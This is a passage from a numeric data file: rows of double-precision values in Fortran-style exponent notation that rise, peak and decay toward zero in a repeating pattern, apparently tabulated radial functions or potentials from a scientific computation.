0.8590277283020786E-03  0.8346125681955534E-03  0.8105818828371373E-03  0.7869334881601800E-03\n  0.7636652657249203E-03  0.7407751631967363E-03  0.7182611948033279E-03  0.6961214417659799E-03  0.6743540526996259E-03\n  0.6529572439758464E-03  0.6319293000421489E-03  0.6112685736903467E-03  0.5909734862658870E-03  0.5710425278092155E-03\n  0.5514742571193334E-03  0.5322673017285347E-03  0.5134203577763651E-03  0.4949321897694443E-03  0.4768016302125221E-03\n  0.4590275790946831E-03  0.4416090032129194E-03  0.4245449353136761E-03  0.4078344730309316E-03  0.3914767775974666E-03\n  0.3754710723036193E-03  0.3598166406754878E-03  0.3445128243419585E-03  0.3295590205570407E-03  0.3149546793411112E-03\n  0.3006993002013562E-03  0.2867924283882840E-03  0.2732336506415988E-03  0.2600225903747107E-03  0.2471589022432513E-03\n  0.2346422660385661E-03  0.2224723798427698E-03  0.2106489523774314E-03  0.1991716944731751E-03  0.1880403095829506E-03\n  0.1772544832569928E-03  0.1668138714930798E-03  0.1567180878715900E-03  0.1469666893810824E-03  0.1375591608372710E-03\n  0.1284948977961454E-03  0.1197731878613226E-03  0.1113931902866863E-03  0.1033539137784803E-03  0.9565419240704367E-04\n  0.8829265954769630E-04  0.8126771978413778E-04  0.7457751872672617E-04  0.6821991072362678E-04  0.6219242447627770E-04\n  0.5649222661344906E-04  0.5111608333233986E-04  0.4606032028242377E-04  0.4132078095054316E-04  0.3689278390632745E-04\n  0.3277107938782920E-04  0.2894980585093507E-04  0.2542244727468145E-04  0.2218179221009314E-04  0.1921989578338595E-04\n  0.1652804611495441E-04  0.1409673689099332E-04  0.1191564811913617E-04  0.9973637403230573E-05  0.8258744369264157E-05\n  0.6758211140689631E-05  0.5458521963065276E-05  0.4345465168603044E-05  0.3404220589992921E-05  0.2619475202729796E-05\n  0.1975569103509067E-05  0.1456672814492850E-05  0.1046995232007964E-05  0.7310192213004316E-06  0.4937588492987344E-06\n  0.3210285891032542E-06  0.1997107219284094E-06  0.1180030350752796E-06  0.6562550627018659E-07  0.3396305969110393E-07\n  0.1612304561662313E-07  0.6892228656363058E-08  0.2589636663001748E-08  0.8280887390551865E-09  0.2156614040605737E-09\n  0.4301139703498805E-10  0.6010118005039632E-11  0.5149083260942099E-12  0.2193180426472887E-13  0.3274661750280784E-15\n  0.9138109562588437E-18  0.1354704193168576E-21  0.5668023630192864E-28  0.1003507143230543E-40  0.5696705688614969E-79\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n 0.0000000000000000E+00  0.2350503764662797E-10  0.1452741565148498E-08  0.1598024605657181E-07  0.8670887247915710E-07\n  0.3194268290355064E-06  0.9210999532108705E-06  0.2243032243257230E-05  0.4826533736759059E-05  0.9449280963997414E-05\n  0.1717086310497067E-04  0.2937628005930804E-04  0.4781640004850213E-04  0.7464459701436190E-04  0.1124489746320072E-03\n  0.1642797466831127E-03  0.2336714851009560E-03  0.3246600692852489E-03  0.4417942752036344E-03  0.5901420321021944E-03\n  0.7752914499470295E-03  0.1003346783485080E-02  0.1280919550391384E-02  0.1615115062592291E-02  0.2013514662642524E-02\n  0.2484153982012019E-02  0.3035497556237696E-02  0.3676410143962806E-02  0.4416125103690986E-02  0.5264210184320288E-02\n  0.6230531083824742E-02  0.7325213125386473E-02  0.8558601392363368E-02  0.9941219653166928E-02  0.1148372839483666E-01\n  0.1319688227020127E-01  0.1509148724834461E-01  0.1717835774193908E-01  0.1946827396813322E-01  0.2197193978231332E-01\n  0.2469994120640449E-01  0.2766270585561205E-01  0.3087046344978465E-01  0.3433320757803945E-01  0.3806065886804223E-01\n  0.4206222969448004E-01  0.4634699054488188E-01  0.5092363814510472E-01  0.5580046543156136E-01  0.6098533344267084E-01\n  0.6648564518809444E-01  0.7230832154110638E-01  0.7845977918695805E-01  0.8494591064833676E-01  0.9177206639800155E-01\n  0.9894303905839608E-01  0.1064630496784886E+00  0.1143357360692630E+00  0.1225641431711653E+00  0.1311507154193881E+00\n  0.1400972910661206E+00  0.1494050984128002E+00  0.1590747538999337E+00  0.1691062619971989E+00  0.1794990168322592E+00\n  0.1902518054930074E+00  0.2013628129347618E+00  0.2128296284212524E+00  0.2246492534260200E+00  0.2368181109190946E+00\n  0.2493320559624748E+00  0.2621863875369867E+00  0.2753758615225286E+00  0.2888947047534727E+00  0.3027366300710904E+00\n  0.3168948522952475E+00  0.3313621050382702E+00  0.3461306582847914E+00  0.3611923366625136E+00  0.3765385383301647E+00\n  0.3921602544104397E+00  0.4080480888974157E+00  0.4241922789697600E+00  0.4405827156430124E+00  0.4572089646963136E+00\n  0.4740602878111100E+00  0.4911256638616449E+00  0.5083938102993529E+00  0.5258532045756759E+00  0.5434921055502246E+00\n  0.5612985748336912E+00  0.5792604980173683E+00  0.5973656057436424E+00  0.6156014945742982E+00  0.6339556476159732E+00\n  0.6524154548645443E+00  0.6709682332326954E+00  0.6896012462273114E+00  0.7083017232457365E+00  0.7270568784622643E+00\n  0.7458539292785299E+00  0.7646801143137046E+00  0.7835227109126022E+00  0.8023690521519213E+00  0.8212065433269309E+00\n  0.8400226779029110E+00  0.8588050529176166E+00  0.8775413838228915E+00  0.8962195187553934E+00  0.9148274522281129E+00\n  0.9333533382360560E+00  0.9517855027710543E+00  0.9701124557421923E+00  0.9883229022998167E+00  0.1006405753562465E+01\n  0.1024350136747383E+01  0.1042145404706545E+01  0.1059781144871260E+01  0.1077247187609600E+01  0.1094533614001869E+01\n  0.1111630763040373E+01  0.1128529238260637E+01  0.1145219913812065E+01  0.1161693939976847E+01  0.1177942748146633E+01\n  0.1193958055267189E+01  0.1209731867761823E+01  0.1225256484945006E+01  0.1240524501938026E+01  0.1255528812099049E+01\n  0.1270262608980346E+01  0.1284719387825761E+01  0.1298892946621899E+01  0.1312777386716678E+01  0.1326367113019209E+01\n  0.1339656833795096E+01  0.1352641560071424E+01  0.1365316604665792E+01  0.1377677580853886E+01  0.1389720400690019E+01\n  0.1401441272995214E+01  0.1412836701027270E+01  0.1423903479847286E+01  0.1434638693397013E+01  0.1445039711301291E+01\n  0.1455104185409776E+01  0.1464830046091919E+01  0.1474215498299109E+01  0.1483259017407622E+01  0.1491959344855860E+01\n  0.1500315483589179E+01  0.1508326693325296E+01  0.1515992485653126E+01  0.1523312618977543E+01  0.1530287093322397E+01\n  0.1536916145003750E+01  0.1543200241185077E+01  0.1549140074325868E+01  0.1554736556534737E+01  0.1559990813837915E+01\n  0.1564904180373601E+01  0.1569478192522416E+01  0.1573714582983838E+01  0.1577615274808202E+01  0.1581182375393509E+01\n  0.1584418170455991E+01  0.1587325117983052E+01  0.1589905842176854E+01  0.1592163127396545E+01  0.1594099912106772E+01\n  0.1595719282839819E+01  0.1597024468178396E+01  0.1598018832765788E+01  0.1598705871349761E+01  0.1599089202866354E+01\n  0.1599172564569312E+01  0.1598959806210704E+01  0.1598454884277914E+01  0.1597661856291940E+01  0.1596584875171653E+01\n  0.1595228183668366E+01  0.1593596108874842E+01  0.1591693056812536E+01  0.1589523507100701E+01  0.1587092007710641E+01\n  0.1584403169808198E+01  0.1581461662687349E+01  0.1578272208797470E+01  0.1574839578866685E+01  0.1571168587123450E+01\n  0.1567264086618331E+01  0.1563130964647693E+01  0.1558774138280876E+01  0.1554198549992189E+01  0.1549409163398889E+01\n  0.1544410959106127E+01  0.1539208930659677E+01  0.1533808080607080E+01  0.1528213416667707E+01  0.1522429948012042E+01\n  0.1516462681650386E+01  0.1510316618931021E+01  0.1503996752147732E+01  0.1497508061256460E+01  0.1490855510700755E+01\n  0.1484044046345540E+01  0.1477078592518635E+01  0.1469964049159342E+01  0.1462705289073315E+01  0.1455307155292826E+01\n  0.1447774458541496E+01  0.1440111974802394E+01  0.1432324442988392E+01  0.1424416562713602E+01  0.1416392992164560E+01\n  0.1408258346069873E+01  0.1400017193766902E+01  0.1391674057364033E+01  0.1383233409997026E+01  0.1374699674177898E+01\n  0.1366077220234727E+01  0.1357370364840755E+01  0.1348583369631108E+01  0.1339720439905439E+01  0.1330785723414737E+01\n  0.1321783309230582E+01  0.1312717226695031E+01  0.1303591444449351E+01  0.1294409869539786E+01  0.1285176346598528E+01\n  0.1275894657098056E+01  0.1266568518676988E+01  0.1257201584535619E+01  0.1247797442899263E+01  0.1238359616547584E+01\n  0.1228891562408019E+01  0.1219396671211496E+01  0.1209878267208578E+01  0.1200339607944202E+01  0.1190783884089205E+01\n  0.1181214219326823E+01  0.1171633670292365E+01  0.1162045226564264E+01  0.1152451810704780E+01  0.1142856278348570E+01\n  0.1133261418337408E+01  0.1123669952899346E+01  0.1114084537870646E+01  0.1104507762958775E+01  0.1094942152044870E+01\n  0.1085390163524009E+01  0.1075854190681740E+01  0.1066336562105254E+01  0.1056839542127690E+01  0.1047365331304049E+01\n  0.1037916066917227E+01  0.1028493823512701E+01  0.1019100613460447E+01  0.1009738387542688E+01  0.1000409035566070E+01\n  0.9911143869969610E+00  0.9818562116185301E+00  0.9726362202083267E+00  0.9634560652350970E+00  0.9543173415736288E+00\n  0.9452215872364120E+00  0.9361702841209427E+00  0.9271648587715566E+00  0.9182066831546644E+00  0.9092970754463097E+00\n  0.9004373008310244E+00  0.8916285723109384E+00  0.8828720515241635E+00  0.8741688495714935E+00  0.8655200278504954E+00\n  0.8569265988960664E+00  0.8483895272266132E+00  0.8399097301949807E+00  0.8314880788433289E+00  0.8231253987611650E+00\n  0.8148224709457564E+00  0.8065800326641964E+00  0.7983987783164219E+00  0.7902793602984723E+00  0.7822223898653531E+00\n  0.7742284379928720E+00  0.7662980362378170E+00  0.7584316775959118E+00  0.7506298173569868E+00  0.7428928739568187E+00\n  0.7352212298251275E+00  0.7276152322292518E+00  0.7200751941130188E+00  0.7126013949303633E+00  0.7051940814732806E+00\n  0.6978534686936988E+00  0.6905797405188852E+00  0.6833730506600221E+00  0.6762335234136188E+00  0.6691612544554096E+00\n  0.6621563116264519E+00  0.6552187357111161E+00  0.6483485412067125E+00  0.6415457170844840E+00  0.6348102275417313E+00\n  0.6281420127448483E+00  0.6215409895630656E+00  0.6150070522926947E+00  0.6085400733717113E+00  0.6021399040845107E+00\n  0.5958063752566826E+00  0.5895392979396676E+00  0.5833384640851877E+00  0.5772036472093250E+00  0.5711346030461549E+00\n  0.5651310701908592E+00  0.5591927707322315E+00  0.5533194108745153E+00  0.5475106815485299E+00  0.5417662590120353E+00\n  0.5360858054393003E+00  0.5304689694998603E+00  0.5249153869264497E+00  0.5194246810720941E+00  0.5139964634563777E+00\n  0.5086303343008993E+00  0.5033258830539155E+00  0.4980826889042317E+00  0.4929003212843441E+00  0.4877783403628898E+00\n  0.4827162975264554E+00  0.4777137358507827E+00  0.4727701905614446E+00  0.4678851894840552E+00  0.4630582534840750E+00\n  0.4582888968962981E+00  0.4535766279440972E+00  0.4489209491485098E+00  0.4443213577272558E+00  0.4397773459837845E+00\n  0.4352884016864413E+00  0.4308540084378585E+00  0.4264736460346724E+00  0.4221467908176804E+00  0.4178729160125361E+00\n  0.4136514920611062E+00  0.4094819869436024E+00  0.4053638664915989E+00  0.4012965946920645E+00  0.3972796339825281E+00\n  0.3933124455374964E+00  0.3893944895462572E+00  0.3855252254821869E+00  0.3817041123636960E+00  0.3779306090069412E+00\n  0.3742041742704262E+00  0.3705242672916375E+00  0.3668903477158274E+00  0.3633018759170965E+00  0.3597583132118892E+00\n  0.3562591220650529E+00  0.3528037662885790E+00  0.3493917112331675E+00  0.3460224239727477E+00  0.3426953734820877E+00\n  0.3394100308076194E+00  0.3361658692316251E+00  0.3329623644299036E+00  0.3297989946230563E+00  0.3266752407215223E+00\n  0.3235905864644950E+00  0.3205445185528428E+00  0.3175365267761750E+00  0.3145661041341699E+00  0.3116327469522978E+00\n  0.3087359549920661E+00  0.3058752315559112E+00  0.3030500835868565E+00  0.3002600217630693E+00  0.2975045605874296E+00\n  0.2947832184722352E+00  0.2920955178191660E+00  0.2894409850946181E+00  0.2868191509005325E+00  0.2842295500408273E+00\n  0.2816717215835535E+00  0.2791452089188812E+00  0.2766495598130334E+00  0.2741843264582723E+00  0.2717490655190478E+00\n  0.2693433381744174E+00  0.2669667101568407E+00  0.2646187517874495E+00  0.2622990380079024E+00  0.2600071484089175E+00\n  0.2577426672555859E+00  0.2555051835095635E+00  0.2532942908482358E+00  0.2511095876809479E+00  0.2489506771623981E+00\n  0.2468171672032794E+00  0.2447086704782614E+00  0.2426248044314016E+00  0.2405651912790701E+00  0.2385294580104723E+00\n  0.2365172363858518E+00  0.2345281629324596E+00  0.2325618789383613E+00  0.2306180304441682E+00  0.2286962682327625E+00\n  0.2267962478170977E+00  0.2249176294261405E+00  0.2230600779890333E+00  0.2212232631175415E+00  0.2194068590868594E+00\n  0.2176105448148379E+00  0.2158340038397009E+00  0.2140769242963177E+00  0.2123389988910903E+00  0.2106199248755169E+00\n  0.2089194040184958E+00  0.2072371425774233E+00  0.2055728512681448E+00  0.2039262452338156E+00  0.2022970440127238E+00\n  0.2006849715051299E+00  0.1990897559391716E+00  0.1975111298358903E+00  0.1959488299734197E+00  0.1944025973503926E+00\n  0.1928721771486053E+00  0.1913573186949898E+00  0.1898577754229339E+00  0.1883733048329959E+00  0.1869036684530497E+00\n  0.1854486317979078E+00  0.1840079643284546E+00  0.1825814394103312E+00  0.1811688342722097E+00  0.1797699299636905E+00\n  0.1783845113128567E+00  0.1770123668835237E+00  0.1756532889322104E+00  0.1743070733648679E+00  0.1729735196933954E+00\n  0.1716524309919727E+00  0.1703436138532354E+00  0.1690468783443259E+00  0.1677620379628421E+00  0.1664889095927099E+00\n  0.1652273134600088E+00  0.1639770730887696E+00  0.1627380152567701E+00  0.1615099699513493E+00  0.1602927703252654E+00\n  0.1590862526526123E+00  0.1578902562848216E+00  0.1567046236067624E+00  0.1555291999929633E+00  0.1543638337639696E+00\n  0.1532083761428563E+00  0.1520626812119101E+00  0.1509266058694993E+00  0.1498000097871428E+00  0.1486827553667961E+00\n  0.1475747076983654E+00  0.1464757345174640E+00  0.1453857061634240E+00  0.1443044955375730E+00  0.1432319780617891E+00\n  0.1421680316373446E+00  0.1411125366040483E+00  0.1400653756996955E+00  0.1390264340198362E+00  0.1379955989778688E+00\n  0.1369727602654673E+00  0.1359578098133525E+00  0.1349506417524104E+00  0.1339511523751675E+00  0.1329592400976282E+00\n  0.1319748054214808E+00  0.1309977508966756E+00  0.1300279810843844E+00  0.1290654025203415E+00  0.1281099236785748E+00\n  0.1271614549355259E+00  0.1262199085345698E+00  0.1252851985509296E+00  0.1243572408569959E+00  0.1234359530880505E+00\n  0.1225212546083961E+00  0.1216130664778956E+00  0.1207113114189237E+00  0.1198159137837281E+00  0.1189267995222068E+00\n  0.1180438961500998E+00  0.1171671327175942E+00  0.1162964397783483E+00  0.1154317493589289E+00  0.1145729949286663E+00\n  0.1137201113699259E+00  0.1128730349487938E+00  0.1120317032861783E+00  0.1111960553293266E+00  0.1103660313237529E+00\n  0.1095415727855802E+00  0.1087226224742927E+00  0.1079091243658972E+00  0.1071010236264925E+00  0.1062982665862460E+00\n  0.1055008007137718E+00  0.1047085745909144E+00  0.1039215378879289E+00  0.1031396413390617E+00  0.1023628367185243E+00\n  0.1015910768168619E+00  0.1008243154177097E+00  0.1000625072749386E+00  0.9930560809018427E-01  0.9855357449075822E-01\n  0.9780636400793745E-01  0.9706393505562982E-01  0.9632624690941162E-01  0.9559325968593356E-01  0.9486493432269383E-01\n  0.9414123255817297E-01  0.9342211691232764E-01  0.9270755066744044E-01  0.9199749784932158E-01  0.9129192320885827E-01\n  0.9059079220391024E-01  0.8989407098154546E-01  0.8920172636061409E-01  0.8851372581465511E-01  0.8783003745513447E-01\n  0.8715063001500779E-01  0.8647547283260665E-01  0.8580453583584287E-01  0.8513778952672810E-01  0.8447520496620298E-01\n  0.8381675375927530E-01  0.8316240804045885E-01  0.8251214045951316E-01  0.8186592416747822E-01  0.8122373280299988E-01\n  0.8058554047894315E-01  0.7995132176928955E-01  0.7932105169631275E-01  0.7869470571803144E-01  0.7807225971593283E-01\n  0.7745368998296467E-01  0.7683897321179178E-01  0.7622808648331135E-01  0.7562100725542614E-01  0.7501771335206921E-01\n  0.7441818295247755E-01  0.7382239458071076E-01  0.7323032709541087E-01  0.7264195967979867E-01  0.7205727183190487E-01\n  0.7147624335502985E-01  0.7089885434843042E-01  0.7032508519822850E-01  0.6975491656853922E-01  0.6918832939281314E-01\n  0.6862530486539103E-01  0.6806582443326617E-01  0.6750986978805110E-01  0.6695742285814540E-01  0.6640846580110123E-01\n  0.6586298099618196E-01  0.6532095103711212E-01  0.6478235872501446E-01  0.6424718706153042E-01  0.6371541924212147E-01\n  0.6318703864954746E-01  0.6266202884751911E-01  0.6214037357452046E-01  0.6162205673779986E-01  0.6110706240752450E-01\n  0.6059537481109686E-01  0.6008697832762830E-01  0.5958185748256901E-01  0.5907999694248869E-01  0.5858138151000727E-01\n  0.5808599611887154E-01  0.5759382582917469E-01  0.5710485582271634E-01  0.5661907139850073E-01  0.5613645796836825E-01\n  0.5565700105276017E-01  0.5518068627661225E-01  0.5470749936537444E-01  0.5423742614115482E-01  0.5377045251898517E-01\n  0.5330656450320408E-01  0.5284574818395761E-01  0.5238798973381230E-01  0.5193327540447994E-01  0.5148159152365149E-01\n  0.5103292449193595E-01  0.5058726077990446E-01  0.5014458692523559E-01  0.4970488952995948E-01  0.4926815525779950E-01\n  0.4883437083160901E-01  0.4840352303089959E-01  0.4797559868946120E-01  0.4755058469306943E-01  0.4712846797727979E-01\n  0.4670923552530574E-01  0.4629287436597942E-01  0.4587937157179187E-01  0.4546871425701189E-01  0.4506088957588125E-01\n  0.4465588472088415E-01  0.4425368692108926E-01  0.4385428344056262E-01  0.4345766157684944E-01  0.4306380865952269E-01\n  0.4267271204879778E-01  0.4228435913421057E-01  0.4189873733335742E-01  0.4151583409069603E-01  0.4113563687640473E-01\n  0.4075813318529899E-01  0.4038331053580396E-01  0.4001115646898086E-01  0.3964165854760631E-01  0.3927480435530239E-01\n  0.3891058149571723E-01  0.3854897759175296E-01  0.3818998028484157E-01  0.3783357723426573E-01  0.3747975611652434E-01\n  0.3712850462474054E-01  0.3677981046811218E-01  0.3643366137140177E-01  0.3609004507446641E-01  0.3574894933182556E-01\n  0.3541036191226535E-01  0.3507427059847887E-01  0.3474066318674111E-01  0.3440952748661676E-01  0.3408085132070126E-01\n  0.3375462252439219E-01  0.3343082894569176E-01  0.3310945844503797E-01  0.3279049889516447E-01  0.3247393818098731E-01\n  0.3215976419951815E-01  0.3184796485980308E-01  0.3153852808288556E-01  0.3123144180179359E-01  0.3092669396154863E-01\n  0.3062427251919747E-01  0.3032416544386438E-01  0.3002636071682391E-01  0.2973084633159302E-01  0.2943761029404197E-01\n  0.2914664062252300E-01  0.2885792534801624E-01  0.2857145251429220E-01  0.2828721017808998E-01  0.2800518640931039E-01\n  0.2772536929122391E-01  0.2744774692069189E-01  0.2717230740840119E-01  0.2689903887911129E-01  0.2662792947191326E-01\n  0.2635896734050006E-01  0.2609214065344760E-01  0.2582743759450599E-01  0.2556484636290022E-01  0.2530435517364029E-01\n  0.2504595225783962E-01  0.2478962586304191E-01  0.2453536425355501E-01  0.2428315571079263E-01  0.2403298853362201E-01\n  0.2378485103871834E-01  0.2353873156092471E-01  0.2329461845361733E-01  0.2305250008907579E-01  0.2281236485885801E-01\n  0.2257420117417889E-01  0.2233799746629312E-01  0.2210374218688127E-01  0.2187142380843883E-01  0.2164103082466791E-01\n  0.2141255175087165E-01  0.2118597512435002E-01  0.2096128950479806E-01  0.2073848347470486E-01  0.2051754563975416E-01\n  0.2029846462922549E-01  0.2008122909639606E-01  0.1986582771894261E-01  0.1965224919934375E-01  0.1944048226528158E-01\n  0.1923051567004319E-01  0.1902233819292149E-01  0.1881593863961467E-01  0.1861130584262509E-01  0.1840842866165638E-01\n  0.1820729598400922E-01  0.1800789672497538E-01  0.1781021982822961E-01  0.1761425426621972E-01  0.1741998904055397E-01\n  0.1722741318238660E-01  0.1703651575280017E-01  0.1684728584318532E-01  0.1665971257561794E-01  0.1647378510323276E-01\n  0.1628949261059417E-01  0.1610682431406360E-01  0.1592576946216329E-01  0.1574631733593689E-01  0.1556845724930608E-01\n  0.1539217854942354E-01  0.1521747061702217E-01  0.1504432286676001E-01  0.1487272474756165E-01  0.1470266574295493E-01\n  0.1453413537140393E-01  0.1436712318663735E-01  0.1420161877797267E-01  0.1403761177063589E-01  0.1387509182607664E-01\n  0.1371404864227910E-01  0.1355447195406791E-01  0.1339635153340976E-01  0.1323967718971016E-01  0.1308443877010535E-01\n  0.1293062615974990E-01  0.1277822928209887E-01  0.1262723809918580E-01  0.1247764261189538E-01  0.1232943286023138E-01\n  0.1218259892357987E-01  0.1203713092096717E-01  0.1189301901131328E-01  0.1175025339368011E-01  0.1160882430751480E-01\n  0.1146872203288826E-01  0.1132993689072848E-01  0.1119245924304928E-01  0.1105627949317382E-01  0.1092138808595317E-01\n  0.1078777550798031E-01  0.1065543228779879E-01  0.1052434899610681E-01  0.1039451624595617E-01  0.1026592469294671E-01\n  0.1013856503541558E-01  0.1001242801462182E-01  0.9887504414926333E-02  0.9763785063966725E-02  0.9641260832827890E-02\n  0.9519922636207538E-02  0.9399761432577210E-02  0.9280768224338752E-02  0.9162934057976000E-02  0.9046250024202221E-02\n  0.8930707258102832E-02  0.8816296939273676E-02  0.8703010291955119E-02  0.8590838585161509E-02  0.8479773132806546E-02\n  0.8369805293824308E-02  0.8260926472285997E-02  0.8153128117512804E-02  0.8046401724184376E-02  0.7940738832443478E-02\n  0.7836131027996606E-02  0.7732569942210602E-02  0.7630047252205678E-02  0.7528554680944333E-02  0.7428083997316856E-02\n  0.7328627016223001E-02  0.7230175598650108E-02  0.7132721651747814E-02  0.7036257128899153E-02  0.6940774029788536E-02\n  0.6846264400466227E-02  0.6752720333409701E-02  0.6660133967581916E-02  0.6568497488486375E-02  0.6477803128219479E-02\n  0.6388043165519663E-02  0.6299209925814047E-02  0.6211295781262146E-02  0.6124293150797016E-02  0.6038194500163917E-02\n  0.5952992341956366E-02  0.5868679235650055E-02  0.5785247787634298E-02  0.5702690651241371E-02  0.5621000526773856E-02\n  0.5540170161529816E-02  0.5460192349826328E-02  0.5381059933021076E-02  0.5302765799532243E-02  0.5225302884857029E-02\n  0.5148664171588471E-02  0.5072842689431090E-02  0.4997831515215207E-02  0.4923623772910095E-02  0.4850212633636272E-02\n  0.4777591315676702E-02  0.4705753084487369E-02  0.4634691252707118E-02  0.4564399180166933E-02  0.4494870273898941E-02\n  0.4426097988144961E-02  0.4358075824365064E-02  0.4290797331245945E-02  0.4224256104709619E-02  0.4158445787922197E-02\n  0.4093360071303100E-02  0.4028992692534918E-02  0.3965337436573796E-02  0.3902388135660784E-02  0.3840138669334105E-02\n  0.3778582964442547E-02  0.3717714995160261E-02  0.3657528783002880E-02  0.3598018396845369E-02  0.3539177952941635E-02\n  0.3481001614946027E-02  0.3423483593937147E-02  0.3366618148443765E-02  0.3310399584473416E-02  0.3254822255543565E-02\n  0.3199880562715664E-02  0.3145568954632342E-02  0.3091881927557716E-02  0.3038814025421337E-02  0.2986359839865667E-02\n  0.2934514010297470E-02  0.2883271223943334E-02  0.2832626215909399E-02  0.2782573769245732E-02  0.2733108715015361E-02\n  0.2684225932368273E-02  0.2635920348620736E-02  0.2588186939339922E-02  0.2541020728434335E-02  0.2494416788250113E-02\n  0.2448370239673485E-02  0.2402876252239763E-02  0.2357930044248895E-02  0.2313526882888074E-02  0.2269662084361452E-02\n  0.2226331014027437E-02  0.2183529086543647E-02  0.2141251766019886E-02  0.2099494566179429E-02  0.2058253050528833E-02\n  0.2017522832536582E-02  0.1977299575820819E-02  0.1937578994346416E-02  0.1898356852631761E-02  0.1859628965965341E-02\n  0.1821391200632576E-02  0.1783639474153031E-02  0.1746369755528287E-02  0.1709578065500809E-02  0.1673260476823867E-02\n  0.1637413114542927E-02  0.1602032156288575E-02  0.1567113832581223E-02  0.1532654427147850E-02  0.1498650277250755E-02\n  0.1465097774028671E-02  0.1431993362850165E-02  0.1399333543679485E-02  0.1367114871454921E-02  0.1335333956479567E-02\n  0.1303987464824598E-02  0.1273072118744786E-02  0.1242584697106271E-02  0.1212522035826240E-02  0.1182881028324278E-02\n  0.1153658625985074E-02  0.1124851838631879E-02  0.1096457735010339E-02  0.1068473443281882E-02  0.1040896151525936E-02\n  0.1013723108250083E-02  0.9869516229069582E-03  0.9605790664167954E-03  0.9346028716940452E-03  0.9090205341765010E-03\n  0.8838296123550832E-03  0.8590277283020786E-03  0.8346125681955534E-03  0.8105818828371373E-03  0.7869334881601800E-03\n  0.7636652657249203E-03  0.7407751631967363E-03  0.7182611948033279E-03  0.6961214417659799E-03  0.6743540526996259E-03\n  0.6529572439758464E-03  0.6319293000421489E-03  0.6112685736903467E-03  0.5909734862658870E-03  0.5710425278092155E-03\n  0.5514742571193334E-03  0.5322673017285347E-03  0.5134203577763651E-03  0.4949321897694443E-03  0.4768016302125221E-03\n  0.4590275790946831E-03  0.4416090032129194E-03  0.4245449353136761E-03  0.4078344730309316E-03  0.3914767775974666E-03\n  0.3754710723036193E-03  0.3598166406754878E-03  0.3445128243419585E-03  0.3295590205570407E-03  0.3149546793411112E-03\n  0.3006993002013562E-03  0.2867924283882840E-03  0.2732336506415988E-03  0.2600225903747107E-03  0.2471589022432513E-03\n  0.2346422660385661E-03  0.2224723798427698E-03  0.2106489523774314E-03  0.1991716944731751E-03  0.1880403095829506E-03\n  0.1772544832569928E-03  0.1668138714930798E-03  0.1567180878715900E-03  0.1469666893810824E-03  0.1375591608372710E-03\n  0.1284948977961454E-03  0.1197731878613226E-03  0.1113931902866863E-03  0.1033539137784803E-03  0.9565419240704367E-04\n  0.8829265954769630E-04  0.8126771978413778E-04  0.7457751872672617E-04  0.6821991072362678E-04  0.6219242447627770E-04\n  0.5649222661344906E-04  0.5111608333233986E-04  0.4606032028242377E-04  0.4132078095054316E-04  0.3689278390632745E-04\n  0.3277107938782920E-04  0.2894980585093507E-04  0.2542244727468145E-04  0.2218179221009314E-04  0.1921989578338595E-04\n  0.1652804611495441E-04  0.1409673689099332E-04  0.1191564811913617E-04  0.9973637403230573E-05  0.8258744369264157E-05\n  0.6758211140689631E-05  0.5458521963065276E-05  0.4345465168603044E-05  0.3404220589992921E-05  0.2619475202729796E-05\n  0.1975569103509067E-05  0.1456672814492850E-05  0.1046995232007964E-05  0.7310192213004316E-06  0.4937588492987344E-06\n  0.3210285891032542E-06  0.1997107219284094E-06  0.1180030350752796E-06  0.6562550627018659E-07  0.3396305969110393E-07\n  0.1612304561662313E-07  0.6892228656363058E-08  0.2589636663001748E-08  0.8280887390551865E-09  0.2156614040605737E-09\n  0.4301139703498805E-10  0.6010118005039632E-11  0.5149083260942099E-12  0.2193180426472887E-13  0.3274661750280784E-15\n  0.9138109562588437E-18  0.1354704193168576E-21  0.5668023630192864E-28  0.1003507143230543E-40  0.5696705688614969E-79\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n 0.0000000000000000E+00  0.2350503764662797E-10  0.1452741565148498E-08  0.1598024605657181E-07  0.8670887247915710E-07\n  0.3194268290355064E-06  0.9210999532108705E-06  0.2243032243257230E-05  0.4826533736759059E-05  0.9449280963997414E-05\n  0.1717086310497067E-04  0.2937628005930804E-04  0.4781640004850213E-04  0.7464459701436190E-04  0.1124489746320072E-03\n  0.1642797466831127E-03  0.2336714851009560E-03  0.3246600692852489E-03  0.4417942752036344E-03  0.5901420321021944E-03\n  0.7752914499470295E-03  0.1003346783485080E-02  0.1280919550391384E-02  0.1615115062592291E-02  0.2013514662642524E-02\n  0.2484153982012019E-02  0.3035497556237696E-02  0.3676410143962806E-02  0.4416125103690986E-02  0.5264210184320288E-02\n  0.6230531083824742E-02  0.7325213125386473E-02  0.8558601392363368E-02  0.9941219653166928E-02  0.1148372839483666E-01\n  0.1319688227020127E-01  0.1509148724834461E-01  0.1717835774193908E-01  0.1946827396813322E-01  0.2197193978231332E-01\n  0.2469994120640449E-01  0.2766270585561205E-01  0.3087046344978465E-01  0.3433320757803945E-01  0.3806065886804223E-01\n  0.4206222969448004E-01  0.4634699054488188E-01  0.5092363814510472E-01  0.5580046543156136E-01  0.6098533344267084E-01\n  0.6648564518809444E-01  0.7230832154110638E-01  0.7845977918695805E-01  0.8494591064833676E-01  0.9177206639800155E-01\n  0.9894303905839608E-01  0.1064630496784886E+00  0.1143357360692630E+00  0.1225641431711653E+00  0.1311507154193881E+00\n  0.1400972910661206E+00  0.1494050984128002E+00  0.1590747538999337E+00  0.1691062619971989E+00  0.1794990168322592E+00\n  0.1902518054930074E+00  0.2013628129347618E+00  0.2128296284212524E+00  0.2246492534260200E+00  0.2368181109190946E+00\n  0.2493320559624748E+00  0.2621863875369867E+00  0.2753758615225286E+00  0.2888947047534727E+00  0.3027366300710904E+00\n  0.3168948522952475E+00  0.3313621050382702E+00  0.3461306582847914E+00  0.3611923366625136E+00  0.3765385383301647E+00\n  0.3921602544104397E+00  0.4080480888974157E+00  0.4241922789697600E+00  0.4405827156430124E+00  0.4572089646963136E+00\n  0.4740602878111100E+00  0.4911256638616449E+00  0.5083938102993529E+00  0.5258532045756759E+00  0.5434921055502246E+00\n  0.5612985748336912E+00  0.5792604980173683E+00  0.5973656057436424E+00  0.6156014945742982E+00  0.6339556476159732E+00\n  0.6524154548645443E+00  0.6709682332326954E+00  0.6896012462273114E+00  0.7083017232457365E+00  0.7270568784622643E+00\n  0.7458539292785299E+00  0.7646801143137046E+00  0.7835227109126022E+00  0.8023690521519213E+00  0.8212065433269309E+00\n  